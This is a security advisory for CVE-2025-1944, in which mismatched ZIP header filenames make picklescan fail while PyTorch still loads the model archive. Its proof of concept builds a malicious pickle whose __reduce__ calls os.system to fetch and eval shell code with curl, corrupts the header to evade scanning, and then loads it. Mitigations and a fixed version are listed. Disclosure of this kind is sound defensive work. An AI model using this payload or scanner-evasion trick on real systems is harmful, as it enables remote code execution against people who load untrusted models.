CVE-2025-1944

Description

Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.

PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.

Proof-of-Concept (PoC)

The following example demonstrates how a crafted ZIP file could bypass Picklescan's security scan but still be honored by PyTorch to load malicious model(s):

import os

import torch

class RemoteCodeExecution:

    def __reduce__(self):

        return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)

model = RemoteCodeExecution()

file = "does_not_scan_but_opens_in_torch.pth"

torch.save(model, file)

# modify the header to cause the zip file to raise execution in picklescan

with open(file, "rb") as f:

    data = f.read()

# Replace only the first occurrence of "data.pkl" with "datap.kl"

modified_data = data.replace(b"data.pkl", b"datap.kl", 1)

# Write back the modified content

with open(file, "wb") as f:

    f.write(modified_data)

# Load the infected model

torch.load(file)  

Mitigations

1. Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.

2. Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.

Note: picklescan version 0.0.23 contains a fix for this issue and can be upgraded to.